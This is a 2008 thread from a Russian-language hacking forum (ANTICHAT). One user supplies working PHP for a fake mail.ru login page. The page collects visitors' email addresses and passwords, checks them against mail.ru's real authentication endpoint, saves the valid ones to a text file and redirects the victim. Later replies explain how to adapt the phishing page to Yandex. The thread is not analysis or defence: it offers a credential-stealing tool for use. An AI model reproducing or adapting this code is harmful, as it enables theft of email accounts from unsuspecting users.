ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

14.12.2008, 23:42
|
|
Участник форума
Регистрация: 27.10.2008
Сообщений: 278
Провел на форуме: 1495545
Репутация:
242
|
|
А кто сказал за деньги?)
|
|
|

14.12.2008, 23:46
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Теперь понял что нужно юзать сокеты или курл.С курлом проблемы,а с сокетами пока что даже не связывался.Я не прошу написать за меня,я прошу предоставить пример,а тему в 694 страницы рулить...ууууу 
|
|
|

15.12.2008, 00:02
|
|
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме: 4832771
Репутация:
1916
|
|
m0Hze
Вот тебе навоял пример для mail.ru. Работает, проверял)
PHP код:
<?php
if(isset($_POST['submit'])){ // Если данные отправились
$mail = $_POST['mail'];
$zone = $_POST['zone'];
$pass = $_POST['pass'];
$post = 'Login='.$mail.'&Domain='.$zone.'&Password='.$pass;
$cl = curl_init('http://win.mail.ru/cgi-bin/auth');
curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($cl, CURLOPT_REFERER, 'http://mail.ru/');
curl_setopt($cl, CURLOPT_HEADER, 1);
curl_setopt($cl, CURLOPT_POST, 1);
curl_setopt($cl, CURLOPT_POSTFIELDS, $post);
$exec = curl_exec($cl);
curl_close($cl);
if(stripos($exec, 'Неверное имя пользователя или пароль')){
echo 'Неверные данные';
}else{
/* Запись в файл */
$open = fopen('result.txt', 'r+t');
fputs($open, $mail.'@'.$zone.' : '.$pass."\r\n");
fclose($open);
/* Переадресация куда-то */
header('location: http://kuda-to.ru');
die();
}
}else{
?>
<form action="" method="post">
<input name="mail" type="text" /><br/>
<select size="1" name="zone">
<option value="mail.ru">mail.ru</option>
<option value="bk.ru">bk.ru</option>
<option value="inbox.ru">inbox.ru</option>
<option value="list.ru">list.ru</option>
</select><br/>
<input name="pass" type="password" />
<input type="submit" value="Войти" name="submit" />
</form>
<?php
}
?>
Ну а всякие там проверки и т.д. сделаешь сам)
|
|
|

15.12.2008, 00:37
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Так, интересно,все понял, кроме куска с крлом,основное так сказать 
А вот тогда так. А если на яндекс,а там уже идет вот такая ссылка, https://passport.yandex.ru/passport?mode=passport - то тут как быть? Понятно что заменить $zone, точнее совсем убрать,и переделать Login Password, если они по другому называються в форме, но вот сама ссылка...вот что не понятно мне.А в основном вникнул уже глубже.
|
|
|

15.12.2008, 00:41
|
|
Участник форума
Регистрация: 27.10.2008
Сообщений: 278
Провел на форуме: 1495545
Репутация:
242
|
|
if(stripos($exec, 'Неправильная пара логин-пароль!');
Вот тебе для яндекса...)
|
|
|

15.12.2008, 00:43
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
ненене,я не о том.Это я понял,чтото типо парсера,он дергает эту надпись и возвращает значение.Я о другом.Тоеть,мне достутачно мненить то что я описал выше,контроьную фразу, и тупо поставить
PHP код:
$cl = curl_init('http://passport.yandex.ru/passport?mode=passport');
|
|
|

15.12.2008, 00:44
|
|
Участник форума
Регистрация: 27.10.2008
Сообщений: 278
Провел на форуме: 1495545
Репутация:
242
|
|
Да, должно работать
curl_setopt($cl, CURLOPT_REFERER, 'http://mail.ru/');
поменять еще
|
|
|

15.12.2008, 00:51
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Вот тогда другой вопрос.Я просто с файлами никогда не работал еще... 
Смотрите:
PHP код:
if(stripos($exec, 'Неверное имя пользователя или пароль')){
echo 'Неверные данные';
}else{ .....
Какбе сделать так,чтобы заместо сообщения
PHP код:
if(stripos($exec, 'Неверное имя пользователя или пароль'))
Тут выводилась страница,например error.php?
|
|
|

15.12.2008, 00:54
|
|
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме: 4832771
Репутация:
1916
|
|
Если там ssl, то предётся немного переделать.
И как ты говоришь "тупо убрать зону" тоже врядли прокатит. Снифай заголовки отправляемые и полученные от сервера, смотри какие данные передаются и т.д.
Сообщение от m0Hze
Вот тогда другой вопрос.Я просто с файлами никогда не работал еще... 
Смотрите:
PHP код:
if(stripos($exec, 'Неверное имя пользователя или пароль')){
echo 'Неверные данные';
}else{ .....
Какбе сделать так,чтобы заместо сообщения
PHP код:
if(stripos($exec, 'Неверное имя пользователя или пароль'))
Тут выводилась страница,например error.php?
мдэ, думаю тебе ещё книжки надо почитать)
PHP код:
stripos($exec, 'Неверное имя пользователя или пароль')
Это проверка в полученном коде правильности вводимых данных.
если хочешь показывать страницу error.php то впиши что-то типа.
PHP код:
echo file_get_contents('error.php');
p.s. пиздец даже спасибо не сказал =\
Последний раз редактировалось .:EnoT:.; 15.12.2008 в 00:58..
|
|
|

15.12.2008, 00:57
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Я не понял почти ничего из предложения выше 
Какие мы все жадные на плисеги
C проверкой напутал,сознаюсь.Но просто по случайности,я знаю как работает if 
Xt тебе от меня мой 1 плисег то?)
Последний раз редактировалось m0Hze; 15.12.2008 в 01:03..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|